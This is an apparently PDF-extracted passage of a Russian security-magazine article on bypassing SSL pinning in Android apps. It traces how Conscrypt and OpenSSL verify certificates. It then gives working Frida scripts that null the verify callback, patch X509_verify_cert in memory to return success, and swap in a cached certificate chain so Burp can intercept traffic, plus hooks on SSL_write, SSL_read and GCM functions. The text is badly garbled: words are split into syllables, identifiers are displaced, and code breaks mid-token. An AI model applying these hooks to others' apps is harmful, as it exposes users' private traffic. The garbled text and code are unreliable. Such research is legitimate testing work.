
libjavacrypto
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УНИВЕРСАЛЬНЫЙ
ПЕРЕХВАТ

КАК ОБОЙТИ SSLPINNING РАЗ И НАВСЕГДА
И ЧИТАТЬ ТРАФИК ЛЮБОГО ПРИЛОЖЕНИЯ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Оп ределя ем источни ки сер тифика тов
Так же, как и в слу чае с OpenSSL, поищем исходни ки Conscrypt в AOSP и мес‐ 
то, похожее по струк туре на то, которое нам уда лось най ти с помощью встро‐ 
енно го  отладчи ка.  Таким  мес том  ока зыва ется  фун кция 

 в фай ле  .
cert_verify_call‐

back native_crypto.cc
Пос мотри,  нас коль ко  струк тура  этой фун кции  похожа  на  псев докод,  сге‐ 

нери рован ный пла гином Hex‐Rays:

static ssl_verify_result_t cert_verify_callback(SSL* ssl, CONSCR
YPT_UNUSED uint8_t* out_alert) {
 AppData* appData = toAppData(ssl);
 JNIEnv* env = appData‐>env;
 if (env == nullptr) {
   return ssl_verify_invalid;
 }
 ScopedLocalRef<jobjectArray> array(env, CryptoBuffersToObjectArray(

env, SSL_get0_peer_certificates(ssl)));
 if (array.get() == nullptr) {
   return ssl_verify_invalid;
 }
 jobject sslHandshakeCallbacks = appData‐>sslHandshakeCallbacks;
 jclass cls = env‐>GetObjectClass(sslHandshakeCallbacks);
 jmethodID methodID = env‐>GetMethodID(cls, "verifyCertificateChain"

, "([[BLjava/lang/String;)V");
 const SSL_CIPHER* cipher = SSL_get_pending_cipher(ssl);
 const char* authMethod = SSL_CIPHER_get_kx_name(cipher);
 jstring authMethodString = env‐>NewStringUTF(authMethod);
 env‐>CallVoidMethod(sslHandshakeCallbacks, methodID, array.get(), 

authMethodString);
 env‐>DeleteLocalRef(authMethodString);
 ssl_verify_result_t result = env‐>ExceptionCheck() ? ssl_ve

rify_invalid : ssl_verify_ok;
 return result;

}

Что дела ет най ден ная натив ная фун кция? Она, получив ссыл ку на объ ект SSL,
оли цет воря ющий  экзем пляр  безопас ного  соеди нения,  получа ет  через  него
цепоч ку сер тифика тов сер вера и переда ет ее в Java‐метод с кри чащим наз‐ 
вани ем  .verifyCertificateChain

Ес ли  этот  метод  в  про цес се  сво ей  работы  не  бро сает  исклю чения,  то
резуль тат  верифи кации  пос ле  переда чи  управле ния  кол бэку  ( ) будет
успешным ( ). У метода   в свою оче‐ 
редь есть ряд реали заций в Conscrypt, и все они очень‐очень похожи:

result
ssl_verify_ok verifyCertificateChain

public void verifyCertificateChain(byte[][] certChain, String authMe
thod) throws CertificateException {
 try {
   if (certChain == null || certChain.length == 0) {
     throw new CertificateException("Peer sent no certificate");
   }
   X509Certificate[] peerCertChain = SSLUtils.decodeX509Certi
ficateChain(certChain);

   X509TrustManager x509tm = sslParameters.getX509TrustManager();
   if (x509tm == null) {
     throw new CertificateException("No X.509 TrustManager");
   }

   activeSession.onPeerCertificatesReceived(getPeerHost(), getPee
rPort(), peerCertChain);

   if (getUseClientMode()) {
     Platform.checkServerTrusted(x509tm, peerCertChain, authMethod, 
this);
   } else {
     String authType = peerCertChain[0].getPublicKey().getAlgorithm
();
     Platform.checkClientTrusted(x509tm, peerCertChain, authType, 
this);
   }
 } catch (CertificateException e) {
   throw e;
 } catch (Exception e) {
   throw new CertificateException(e);
 }

}

Важ нее все го то, что мы наконец‐то наш ли источник доверен ных сер тифика‐ 
тов в Android. Как вид но, про вер ка цепоч ки сер тифика тов осно вана на экзем‐ 
пля ре  клас са  .  По  умол чанию  исполь зует ся  дефол тный
TrustManager.  Источни ки  его  доверен ных  сер тифика тов  было  дос таточ но
прос то отсле дить уже на уров не Java. В конеч ном сче те мы при дем к клас су

,  где  содер жится  логика  ини циали зации  источни ков
доверен ных сер тифика тов:

X509TrustManager

TrustedCertificateStore

...
String ANDROID_ROOT = System.getenv("ANDROID_ROOT");
String ANDROID_DATA = System.getenv("ANDROID_DATA");
CA_CERTS_DIR_SYSTEM = new File(ANDROID_ROOT + "/etc/security/cacerts"
);
CA_CERTS_DIR_ADDED = new File(ANDROID_DATA + "/misc/keychain/
cacerts‐added");
CA_CERTS_DIR_DELETED = new File(ANDROID_DATA + "/misc/keychain/
cacerts‐removed");
...

По луча ется, что заг рузка доверен ных сер тифика тов не про изво дит ся непос‐ 
редс твен но в OpenSSL. Вмес то это го всю рутину по про вер ке цепоч ки сер‐ 
тифика тов  берет  на  себя  фун кция  обратно го  вызова  из  Java.  Ее  во  вре мя
работы  по  умол чанию  исполь зует  тот  TrustManager,  который  заг ружа ет  сер‐ 
тифика ты из сис темных папок.

Те перь мы точ но зна ем об источни ке доверен ных сер тифика тов, которые
OpenSSL  получа ет  при  исполь зовании  кли ента  OkHttp.  А  так же  обо  всей
цепоч ке  вызовов,  про исхо дящих  в  ходе  уста нов ки  безопас ного  соеди нения
в реаль ной сре де, экс плу ати рующей OpenSSL, — Android.

HTTPS КАК СРЕДСТВО ЗАЩИТЫ ОТ ПОЛЬЗОВАТЕЛЯ
По дав ляющее боль шинс тво «клас сичес ких» кли ентов HTTPS исполь зует сис‐ 
темное  хра нили ще  сер тифика тов.  Глав ный  недос таток  такого  под хода  —
в  пол ном  доверии  сер тифика там  из  пап ки  устрой ства.  Это  зна чит,  что
какие бы сер тифика ты ни находи лись в хра нили ще у поль зовате ля, они прой‐ 
дут про вер ку под линнос ти, и соеди нение будет успешно уста нов лено. Таким
сер тифика том  может  быть  сер тификат  прок си‐сер вера,  что  при ведет  клас‐ 
сичес кую схе му к нес коль ко дру гому виду: она будет с «двой ным рукопо жати‐ 
ем».

Схе ма уста нов ки SSL‐соеди нения через «доверен ный» прок си‐сер вер

По  идее,  для  защиты  от  MITM  поль зователь  дол жен  самос тоятель но
заботить ся  о  содер жимом  сво их  сис темных  хра нилищ. Но  что,  если  он  сам
пожела ет  пос мотреть,  чем  при ложе ние  обме нива ется  с  сер вером?  Здесь
на помощь при ходит тех нология SSLPinning.

Суть «пинин га» донель зя прос тая: вмес то того, что бы доверять сис темным
сер тифика там из хра нили ща устрой ства, доверие гаран тиру ется толь ко одно‐ 
му сер тифика ту — сер тифика ту  сер вера,  с  которым про исхо дит обмен дан‐ 
ными.

Ме ханизм  такого  доверия  пред полага ет,  что  часть  информа ции  о  сер‐ 
тифика те сер вера понадо бит ся зашить в код про вер ки. Обыч но это хеш SHA‐
сер тифика та,  име нуемый  «пином».  В  нашем  тес товом  при ложе нии  исполь‐ 
зовал ся хеш SHA‐256, который переда ется при ини циали зации OkHttp.

Есть  ряд  популяр ных  под ходов  к  реали зации  SSLPinning  в  при ложе ниях.
Один из них, как мы зна ем, реали зует ся биб лиоте кой OkHttp. Для боль шинс‐ 
тва  этих  спо собов  есть  контрпри емы:  в  виде  скрип тов  Frida,  сис темных
модулей или, на худой конец, прос то опи саний алго рит мов обхо да.

Од нако проб лема сос тоит в том, что раз работ чики могут делать свои под‐ 
ходы к защите от поль зовате ля. Помеша ют здесь раз ве что лень и нежела ние
раз бирать ся в OpenSSL. Каж дый раз с нуля начинать обход — неб лагодар ное
занятие. Как мож но упростить себе жизнь?

ОБХОДИМ SSLPINNING
Нас тало вре мя исполь зовать получен ные нами све дения о работе OpenSSL
и при гото вить уни вер саль ный спо соб перех вата тра фика HTTPS в любых при‐ 
ложе ниях, где сетевое вза имо дей ствие осно вано на OpenSSL.

Спо соб пер вый: глу шим про вер ки OpenSSL
Пер вый  метод,  пре тен дующий  на  зва ние  уни вер саль ного,  будет  осно ван
на толь ко что иссле дован ном нами алго рит ме вза имо дей ствия с биб лиоте кой
OpenSSL  —  с  помощью  фун кций  обратно го  вызова.  Мы  можем  с  уве рен‐ 
ностью  пред положить,  что  их  исполь зование —  это  самый  прос той  спо соб
обра тить ся к OpenSSL.

Нам уже известен «тол стый» callback, который поль зователь уста нав лива‐ 
ет для пере опре деле ния про цеду ры про вер ки цепоч ки сер тифика тов. За это
отве чает фун кция  , а исполь зует ся этот
кол бэк в   сле дующим обра зом:

SSL_CTX_set_cert_verify_callback
ssl_verify_cert_chain

if (s‐>ctx‐>app_verify_callback != NULL)
 i = s‐>ctx‐>app_verify_callback(ctx, s‐>ctx‐>app_verify_arg);

else
 i = X509_verify_cert(ctx);

Как мы это можем исполь зовать? Самым пра виль ным вари антом будет «глу‐ 
шение» поль зователь ско го кол бэка. Для это го дос таточ но нарушить усло вие

,  то  есть  сде лать  так,  что бы 
 был  . Что бы это про изош ло, нуж но отме нить эффект

вызова  ,  при чем  желатель но  внут ри
самой фун кции.

s‐>ctx‐>app_verify_callback  !=  NULL ap‐
p_verify_callback NULL

SSL_CTX_set_cert_verify_callback

Для про вер ки этой теории лег че все го будет модифи циро вать копии биб‐ 
лиоте ки нап рямую в памяти работа юще го про цес са, что бы изме нения вли яли
толь ко  на  него. Самый  удоб ный  из  инс тру мен тов,  которые  поз воля ют  такое
сде лать, — это, пожалуй, Frida. Вот как с ее помощью будет унич тожен кол бэк
(затира ем пер вый аргу мент нулем):

if(e.name == "SSL_CTX_set_cert_verify_callback"){
 Interceptor.attach(e.address, {
   // 0x0 == NULLptr
   onEnter: function(args){ args[1] = ptr("0x0") },
   onLeave: function(retval){}
 });

}

Да лее оста ется  решить,  что  делать  с  частью  .  Ког да  про исхо дит  вызов
, управле ние переда ется в  . Фун кция про изво дит

мно го дей ствий, часть из которых полага ется на то, что OpenSSL будет про‐ 
ини циали зиро ван хра нили щем сер тифика тов.

else
X509_verify_cert x509_vfy.c

Весь спи сок про верок нам прос то так не прой ти, поэто му лег че будет заг‐ 
лушить и эту фун кцию. Сек ция   в ассем блер ном экви вален те  libssl  (x64)
пред став ляет сле дующее:

else

.text:00000000000291C4   MOV   X0, SP

.text:00000000000291C8   BL    .X509_verify_cert

Здесь  же  выяс няет ся,  что  успешное  с  точ ки  зре ния  про вер ки  цепоч ки  сер‐ 
тифика тов воз вра щаемое зна чение   — это 1 (true). В ARM
воз врат зна чения про исхо дит через регис тры R0‐R3. В нашем же слу чае все
сво дит ся к регис тру R0, пос коль ку тип воз вра щаемо го зна чения прост. Поп‐ 
робу ем  переза писать  этот  код  ими таци ей  успешной  отра бот ки 

 (заод но не забыва ем и про устра нение аргу мен та 

X509_verify_cert

X509_veri‐
fy_cert функции):

.text:00000000000291C4   MOV   X0, #1

.text:00000000000291C8   MOV   X0, #1

Для реали зации это го нуж но нап рямую записать в память 8 байт машин ного
кода (два раза по 4 бай та, пос коль ку 4 бай та — фик сирован ный раз мер инс‐ 
трук ции  в  ARM).  Кон верта цию  в  маш код  про изве дем  с  помощью 
из пакета ути лит radare2:

rasm

$ rasm2 ‐a arm ‐b 64 'MOV X0, 0x1'
200080d2

При бега ем к Frida для завер шения опе рации глу шения:

Memory.protect(libsslx64Module.base.add(0x291C4), 8, 'rwx');
Memory.writeByteArray(libsslx64Module.base.add(0x291C4), [0x20,0x00,
0x80,0xd2,0x20,0x00,0x80,0xd2])

И  в  ито ге  добива емся  успешно го  про хож дения  всех  низ коуров невых  про‐ 
верок  в    (их  глу шения).  Два  наших  дей ствия
в  резуль тате  при вели  к  тому,  что  теперь  у  нас  есть  воз можность  под слу‐ 
шивать  HTTPS,  работа ющий  в  «штат ном»  режиме  (без  защиты  SSLPinning)
и без импорта сер тифика тов из сис темно го  хра нили ща. Нажатие на пер вую
кноп ку тес тового при ложе ния теперь при водит не к исклю читель ной ситу ации

, а к тому, что ты видишь на кар тинке.

ssl_verify_cert_chain

SSLHandshakeException

Па ра прос тых опе раций на ниж нем уров не OpenSSL дала опре делен ные
пло ды

Од нако при нажатии на вто рую кноп ку тес тового при ложе ния  («Do Https with
pin!»)  перех ватывать  тра фик  пока  все  еще  не  получа ется,  что  наводит
на мысль о допол нитель ных про вер ках. Давай же узна ем, что это за про вер ки!

Ка кая‐то часть при ложе ния нам все еще не доверя ет

По иск мес та допол нитель ной про вер ки сер тифика тов
Ес ли  про дол жить  дам пить  стек  вызовов  фун кций  OpenSSL  пос ле  нажатия
на  кноп ку  при ложе ния,  то  мож но  понять,  что  на  уров не  libssl  все  про вер ки
прош ли  успешно.  Это  спро воци рова ло  даль нейшую  пос ледова тель ность
дей ствий:

...
SSL_do_handshake
SSL_is_dtls
SSL_get_session
SSL_in_init
SSL_SESSION_dup
SSL_SESSION_free
SSL_get_ex_data
SSL_SESSION_free
SSL_get1_session
SSL_in_init
SSL_get_certificate
SSL_get_peer_full_cert_chain
...

Осо бен но  инте рес ны  пос ледние  два  вызова.  Пос ле  успешно  под делан ного
рукопо жатия неч то пыта ется получить отправ ленную сер вером цепоч ку  сер‐ 
тифика тов...  и  получа ет.  Это  зна чит,  что  чем  бы  ни  было  неч то,  оно  может
переп роверить резуль тат отра бот ки натив ной фун кции OpenSSL, которую мы
толь ко что про опе риро вали.

Вы ходит,  OpenSSL  хра нит  получен ные  от  сер вера  сер тифика ты  и  может
отдать их по пер вому тре бова нию на любом эта пе безопас ного соеди нения.
Это не под ходит нам, ведь суть SSLPinning и зак люча ется в прис таль ной про‐ 
вер ке  сер тифика та,  поэто му  поп робу ем  выяс нить,  как  это  побороть.
Для начала пос мотрим на исходник  :SSL_get_peer_full_cert_chain

STACK_OF(X509) *SSL_get_peer_full_cert_chain(const SSL *ssl) {
 check_ssl_x509_method(ssl);
 SSL_SESSION *session = SSL_get_session(ssl);
 if (session == NULL) {
   return NULL;
 }
 return session‐>x509_chain;

}

Фун кция  воз вра щает  ссыл ку  на  кас томный  тип  дан ных  —  .
OpenSSL исполь зует   для удоб ного вза имо дей ствия с кол лекци ями
объ ектов. Цепоч ка сер тифика тов явля ется, по сути, сте ком. Если пос мотреть
пред став ление  этой  струк туры  дан ных  в  памяти,  то  мож но  обна ружить,  что
ука затель  на  стек  сер тифика тов  находит ся  во  вто ром  поле  этой  струк туры
(раз мер ука зате ля сос тавля ет 8 байт):

STACK_OF(X509)
Stack API

 

 

             
 
 

0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
00000000  02 00 00 00 00 00 00 00 80 55 cb 54 7f 00 00 00  .........U.T....
00000010  00 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00  ................
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

По ука зате лю друг за дру гом хра нят ся ссыл ки на экзем пля ры струк туры 
(в цепоч ке два сер тифика та):

X509

 

 

             
 

0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
00000000  00 fe fd 57 7f 00 00 00 00 b1 f8 57 7f 00 00 00  ...W.......W....
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................

По луча ется,  для  того  что бы  окон чатель но  заг лушить  OpenSSL,  нуж но
каким‐то  обра зом  под менить  получа емую  цепоч ку  сер тифика тов  на  ту,  что
ожи дает  при ложе ние.  А  для  это го  надо  деталь но  изу чить  струк туру 
и вос создать запол ненный ее экзем пля рами стек с доверен ными сер тифика‐ 
тами в памяти работа юще го про цес са.

X509

Од нако  в  ходе  иссле дова ния  я  нашел  одну  инте рес ную  осо бен ность
работы OpenSSL, которая поз воля ет сущес твен но упростить под делку цепоч‐ 
ки. Дело в том, что пос ле уста нов ки и зак рытия соеди нения струк тура дан ных

 не уда ляет ся из памяти  (память не очи щает ся,  хотя ссыл ки
на нее могут и исчезнуть). Это поз воля ет заново исполь зовать ее в пос леду‐ 
ющих соеди нени ях, пока занятая ранее память не будет выделе на под что‐то
еще.

STACK_OF(X509)

За ново  исполь зовать  память  мы  будем  сле дующим  обра зом.  Пер вое
соеди нение по HTTPS будет уста нов лено без прок си‐сниф фера, а пос леду‐ 
ющие — через него. Это поз волит получить валид ную цепоч ку сер тифика тов
при  пер вом  соеди нении,  запом нить  ссыл ку  на  нее  и  затем  воз вра щать  эту
ссыл ку во всех пос леду ющих соеди нени ях.

Важ но отме тить, что вся низ коуров невая рутина по генера ции сес сион ных
клю чей  для  шиф рования  тра фика  (сим метрич ным  шиф ром)  будет  про исхо‐ 
дить  где‐то  в  нед рах  OpenSSL.  Там  будет  при сутс тво вать  нас тоящий  сер‐ 
тификат, получен ный от прок си, а вот на уров не выше — там, где про исхо дит
допол нитель ная про вер ка сер тифика та, — будет уже под дель ная доверен ная
цепоч ка.

Ус тра нение «лиш них» переп роверок сер тифика та
В нед рах OpenSSL фун кция   не исполь зует‐ 
ся,  поэто му  мож но  безопас но  занять ся  ее  модифи каци ей.  Для  про веде ния
такой модифи кации нуж но будет  сле дить  за  тем,  какую цепоч ку  воз вра щает
фун кция,  а  это  воз можно  толь ко  с  помощью  чте ния  полей  струк тур  .
Струк тура выг лядит сле дующим обра зом:

SSL_get_peer_full_cert_chain

X509

struct x509_st
{
 X509_CINF *cert_info;
 X509_ALGOR *sig_alg;
 ASN1_BIT_STRING *signature;
 CRYPTO_refcount_t references;
 char *name;
 CRYPTO_EX_DATA ex_data;
 ...

} /* X509 */;

На ибо лее прос тое и инте рес ное поле, по которо му мож но было бы отли чать
пло хие цепоч ки сер тифика тов от  хороших, — это  . Здесь    тек‐ 
сто вый  иден тифика тор  сер тифика та. Вот,  нап ример,  что  содер жит  это  поле
в пер вом сер тифика те из цепоч ки при двух раз ных сце нари ях в момент обра‐ 
щения к google.com:

name хра нит ся

// При активном прокси Burp Suite
/C=PortSwigger/O=PortSwigger/OU=PortSwigger CA/CN=google.com
// Без прокси
/C=US/ST=California/L=Mountain View/O=Google LLC/CN=*.google.com

Те перь у нас дос таточ но информа ции, что бы реали зовать задуман ное. Сно ва
обра щаем ся за помощью к фрей мвор ку Frida для модифи кации памяти. Сле‐ 
дующий фраг мент опи сыва ет завер шающий пазл глу шения OpenSSL:

// указатель на запомненную «хорошую» цепочку
VALID_CERT_CHAIN = 0;
if(e.name == "SSL_get_peer_full_cert_chain"){
 Interceptor.attach(e.address, {
   onEnter: function(args){},
   onLeave: function(retval){
     // ссылка на стек структур X509
     var stackDataPtr = Memory.readPointer(retval.add(8))
     // ссылка на первый в стеке сертификат X509
     var firstX509StructPtr = Memory.readPointer(stackDataPtr.add(0)
)
     // ссылка на поле name первого сертификата — пятое поле в 
структуре
     var firstX509Struct_fieldNamePtr = Memory.readPointer(firstX
509StructPtr.add(8*4));
     // значение поля name первого сертификата
     var firstX509Struct_fieldName = Memory.readCString(firstX
509Struct_fieldNamePtr)
     // открываем путь для Burp Suite!
     if(firstX509Struct_fieldName.indexOf("PortSwigger") > ‐1 && 
VALID_CERT_CHAIN != 0){
       retval.replace(VALID_CERT_CHAIN)
     }
     else{
       VALID_CERT_CHAIN = ptr(retval.toString())
     }
   }
 });

}

Ре зуль тат не зас тавля ет себя дол го ждать: выпол няем пер вый зап рос и вклю‐ 
чаем  Burp.  Весь  осталь ной  тра фик  теперь  совер шенно  бес пре пятс твен но
будет про ходить перед нашими гла зами.

SSLPinning bypassed!

INFO

Ин терес но, что SSLPinning на уров не вве ден ного
в  Android  7    лег ко
обхо дит ся  и  без  под мены  цепоч ки  сер тифика‐ 
тов — дос таточ но заг лушить callback.

Network  security  configuration

Продолжение статьи →

https://android.googlesource.com/platform/external/conscrypt/+/refs/heads/master/common/src/jni/main/cpp/conscrypt/native_crypto.cc
https://android.googlesource.com/platform/external/conscrypt/+/bcad63e/src/main/java/org/conscrypt/TrustedCertificateStore.java
https://github.com/google/boringssl/blob/master/crypto/x509/x509_vfy.c
http://radare.today/posts/rasm/
https://wiki.openssl.org/index.php/STACK_API
https://docs.huihoo.com/doxygen/openssl/1.0.1c/structx509__st.html
https://developer.android.com/training/articles/security-config


УНИВЕРСАЛЬНЫЙ
ПЕРЕХВАТ

КАК ОБОЙТИ SSLPINNING РАЗ И НАВСЕГДА
И ЧИТАТЬ ТРАФИК ЛЮБОГО ПРИЛОЖЕНИЯ

ВЗЛОМ  НАЧАЛО СТАТЬИ←

Спо соб вто рой: игно риру ем про вер ки OpenSSL
Ес ли  нем ного  подумать  над  спо соба ми  уни вер саль ного  обхо да,  воз ника ет
логич ный  воп рос:  а  нуж но  ли  вооб ще  обхо дить  SSLPinning?  Оче вид но,  что
без вме шатель ства в про цесс хен дшей ка при уста нов ке соеди нения все пос‐ 
леду ющие  переда чи  полез ной  наг рузки  будут  про исхо дить  без  каких‐либо
про верок: дан ные прос то будут лить ся в сокет SSL.

Ко неч но,  дан ные  эти  будут  зашиф рованы,  но  в  OpenSSL  дол жно  быть
такое мес то, где мож но однознач но отсле дить прев ращение незашиф рован‐ 
ных  дан ных  в  зашиф рован ные.  Поп робу ем  под слу шать  тра фик  без  прок‐ 
си‐сниф фера.

За бира ем полез ные дан ные до отправ ки
Про дол жим даль ше изу чать при мер  , взя того
в wiki.openssl. Замеча ем, что пос ле успешно го рукопо жатия с сер вером кли‐ 
ент начина ет отправ ку полез ных дан ных:

де монс тра цион ного кли ента TLS

...
BIO_puts(web, "GET " HOST_RESOURCE " HTTP/1.1\r\n"
             "Host: " HOST_NAME "\r\n"
             "Connection: close\r\n\r\n");
BIO_puts(out, "\n");
...

Фун кция    в  какой‐то  сте пени  говорит  сама  за  себя.  Но  все  не  так
прос то, как кажет ся. Это сво его рода абс трак ция OpenSSL над I/O. Если нем‐ 
ного погуг лить, то выяс няет ся, что таких фун кций  , синони мич ная
фун кци ям на C. Одна из них —  , она выпол няет в целом то же, что
и  .  Кро ме фун кций  абс трак ции BIO  в OpenSSL  есть  и  дру гие фун‐ 
кции  для  выпол нения  I/O.  Самые  инте рес ные  для  нас  —  это  пара

/ .

BIO_puts

це лая груп па
BIO_write

BIO_puts

SSL_write SSL_read
Воз ника ет  воп рос:  зачем  в OpenSSL  столь ко  раз ных фун кций? Ока зыва‐ 

ется,  две  эти  груп пы  допол няют  друг  дру га:  OpenSSL  опе риру ет  буфера ми
бай тов, которые перед попада нием в сокет на кли енте дол жны шиф ровать ся,
а до того они помеща ются в спе циаль ный буфер. Опе рация сох ранения бай‐ 
тов  в  этот  спе циаль ный буфер про изво дит ся  с  помощью  ,  а  опе‐ 
рация прев ращения их в шиф рован ный буфер — с помощью  .

SSL_write
BIO_read

Для опе рации чте ния ситу ация сим метрич ная: про читан ные с сокета бай‐ 
ты  записы вают ся  в  спе циаль ный  буфер  с  помощью  ,  пос ле  чего
мож но получить откры тый текст с помощью  . Таким обра зом, откры‐ 
тый  текст  мы  можем  получать  на  вхо де    при  чте нии  исхо дяще го
тра фика и на выходе   для вхо дяще го тра фика. Вот говоря щие сиг‐ 
натуры   и  :

BIO_write
SSL_read

SSL_write
SSL_read

SSL_write SSL_read

int SSL_write(SSL *ssl, const void *buf, int num)
int SSL_read(SSL *ssl, void *buf, int num)

А  вот  при мер  сня тия  тра фика  в    пос ле  успешно го  хен дшей ка  c
google.com (по бинар ному HTTP/2) под защитой SSLPinning:

SSL_write

 

 

             
 
 

0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
00000000  50 52 49 20 2a 20 48 54 54 50 2f 32 2e 30 0d 0a  PRI * HTTP/2.0..
00000010  0d 0a 53 4d 0d 0a 0d 0a 00 00 00 00 00 00 00 00  ..SM............
00000020  00 00 06 04 00 00 00 00 00 00 04 01 00 00 00     ................

И ответ из  :SSL_read

 

 

             
 
 
 
 
 
 

 
 
 

 
 
 
 

 

0  1  2  3  4  5  6  7  8  9  A  B  C  D  E  F  0123456789ABCDEF
00000000  00 00 00 00 01 00 00 00 03 3c 48 54 4d 4c 3e 3c  .........<HTML><
00000010  48 45 41 44 3e 3c 6d 65 74 61 20 68 74 74 70 2d  HEAD><meta http‐
00000020  65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74  equiv="content‐t
00000030  79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65  ype" content="te
00000040  78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d  xt/html;charset=
00000050  75 74 66 2d 38 22 3e 0a 3c 54 49 54 4c 45 3e 33  utf‐8">.<TITLE>3
00000060  30 31 20 4d 6f 76 65 64 3c 2f 54 49 54 4c 45 3e  01 MovedTITLE>
00000070  3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48  HEAD><BODY>.<H
00000080  31 3e 33 30 31 20 4d 6f 76 65 64 3c 2f 48 31 3e  1>301 MovedH1>
00000090  0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61  .The document ha
000000a0  73 20 6d 6f 76 65 64 0a 3c 41 20 48 52 45 46 3d  s moved.<A HREF=
000000b0  22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f  "https://www.goo
000000c0  67 6c 65 2e 63 6f 6d 2f 22 3e 68 65 72 65 3c 2f  gle.com/">here</
000000d0  41 3e 2e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54  A>...BODY>HT
000000e0  4d 4c 3e 0d 0a 00 00 00 00 00 00 00 00 00 00 00  ML>.............

По лучать дамп имен но здесь удоб но еще и потому, что мы можем раз делить
весь  тра фик  меж ду  парал лель ными  соеди нени ями.  Сде лать  это  мож но
с помощью пер вого парамет ра, который есть в обе их фун кци ях, — ука зате ля
на соеди нение. А раз личать, нап ример, само зна чение ука зате ля.

За бира ем полез ные дан ные до шиф рования
На прак тике час то ока зыва ется, что раз работ чики, зашивая в свои при ложе‐ 
ния  OpenSSL  в  том  или  ином  виде  (как  пра вило,  путем  ста тичес кой  ком‐ 
пиляции  либо  путем  перено са  час ти  исходни ков  из  про екта  OpenSSL),
не  полага ются  на  .  Это  выз вано  тем,  что    реали зует
целый  пласт  вспо мога тель ной  логики,  которую  неред ко  пере опре деля ют
при кас томной импле мен тации сетево го сте ка.

SSL_write SSL_write

Это при водит  к  тому,  что  в  соб ранных  при ложе ниях  при сутс тву ет  семей‐ 
ство  фун кций  I/O  из  OpenSSL,  но  исполь зуют ся  они  по  миниму му  —  либо
не  исполь зуют ся  вов се.  Но  есть  и  при ятная  новость:  если  раз работ чики,
внед ряющие  в  свои  про екты  OpenSSL,  час тень ко  и  избе гают  пря мого
исполь зования сетевой логики в виде  , то без крип тогра фичес кой
сос тавля ющей  OpenSSL  обой тись  уже  слож нее.  Как  минимум  потому,  что
алго рит мы  шиф рования  оста ются  неиз менны ми  даже  при  импле мен тации
собс твен ного сетево го сте ка. Раз работ ка же собс твен ного крип тогра фичес‐ 
кого алго рит ма чре вата появ лени ем допол нитель ного источни ка оши бок.

SSL_write

По ряду при чин весь OpenSSL раз делен на две боль шие час ти:  уже рас‐ 
смот ренная libssl, где реали зова на рутина для про токо лов SSL/TLS, и libcryp‐
to —  с  крип тогра фичес кими  алго рит мами.  Пер вая  зависит  от  вто рой,  а  вот
вто рая биб лиоте ка пол ностью авто ном на. Если заг лянуть в таб лицу сим волов
not‐stripped‐вер сии libcrypto, то мож но уви деть мно го инте рес ного.

Внут реннос ти крип тогра фичес кой сос тавля ющей OpenSSL

Биб лиоте ка  пре дос тавля ет  дос туп  к  огромно му  чис лу  крип тогра фичес ких
фун кций. Нас в пер вую оче редь инте ресу ют алго рит мы сим метрич ного блоч‐ 
ного  шиф рования.  У  про токо ла  TLS  есть  одна  неоче вид ная  осо бен ность:
асим метрич ная  крип тогра фия  работа ет  толь ко  на  эта пе  выработ ки  обще го
клю ча меж ду кли ентом и сер вером. Даль ше этот ключ будет исполь зовать ся
для шиф рования полез ной наг рузки одним из сим метрич ных шиф ров.

Ал горитм  для  сим метрич ного  шиф рования  и  метод  выработ ки  обще го
клю ча опре деля ется на эта пе хен дшей ка: сер вер и кли ент обме нива ются друг
с  дру гом  набора ми  крип тогра фичес ких  воз можнос тей,  которые  они  под‐ 
держи вают.  Такие  наборы  называ ются  СipherSuites.  Они  быва ют  раз ными,
озна комить ся  с  их  вари анта ми  мож но  в 

.
офи циаль ной  докумен тации

OpenSSL

INFO

Уз нать  о  выб ранном  CipherSuite  всег да  мож но
путем  перех вата  пакетов  TCP,  нап ример
с помощью Wireshark. Одна ко иног да встре чают‐ 
ся  экзо тичес кие шиф ронабо ры,  которые  не  уда‐ 
ется  опре делять  в  авто мати чес ком  режиме.  Тут
поможет  .таб лица их кодов

За чем  нам  знать  о  CipherSuites?  Дело  в  том,  что  от  выб ранно го  набора
зависит диапа зон исполь зуемых фун кций libcrypto.

Нап ример,  если  сер вер  и  кли ент  догово рились  (пос леднее  сло во  тут
за  сер вером)  исполь зовать  для шиф рования  AES  в  режиме CBC,  то  в  наз‐ 
вани ях фун кций из  libcrypto обя затель но будут бук вы   и  . На прак тике
наибо лее час то встре чает ся шиф ронабор AES в режиме GCM с дли ной клю ча
в 128 бит ( ), за работу которо го в libcryp‐
to отве чает такая связ ка:

aes cbc

TLS_RSA_WITH_AES_128_GCM_SHA256

int CRYPTO_gcm128_encrypt_ctr32(GCM128_CONTEXT *ctx,
 const void *key, const uint8_t *in, uint8_t *out, size_t len,
 ctr128_f stream);

int CRYPTO_gcm128_decrypt_ctr32(GCM128_CONTEXT *ctx,
 const void *key, const uint8_t *in, uint8_t *out, size_t len,
 ctr128_f stream);

Пе рех ват буфера   в пер вом слу чае и   во вто ром поз волит получить  то
же  содер жимое,  что  мы  перех ватили  при  стан дар тном  исполь зовании
OpenSSL — с помощью   и  . Глав ная при чина здесь в том,
что с момен та, как буфер попал в  / , он никак не меня ется
до шиф рования или дешиф ровки в  / .

in out

SSL_write SSL_read
SSL_write SSL_read
BIO_read BIO_write

Во мно гих дру гих шиф ронабо рах при сим метрич ном шиф ровании внут ри
libcrypto исполь зует ся высоко уров невый интерфейс крип тогра фичес ких фун‐ 
кций OpenSSL —    (EnVeloPe). Через него мож но получать дос туп к крип‐ 
тогра фии, абс тра гиру ясь от кон крет ного алго рит ма и режима его фун кци они‐ 
рова ния.  При  таком  сце нарии,  веро ятнее  все го,  будут  сде ланы  вызовы

/ . Их  перех ват  при ведет  к  ана логич‐ 
ному резуль тату:

EVP

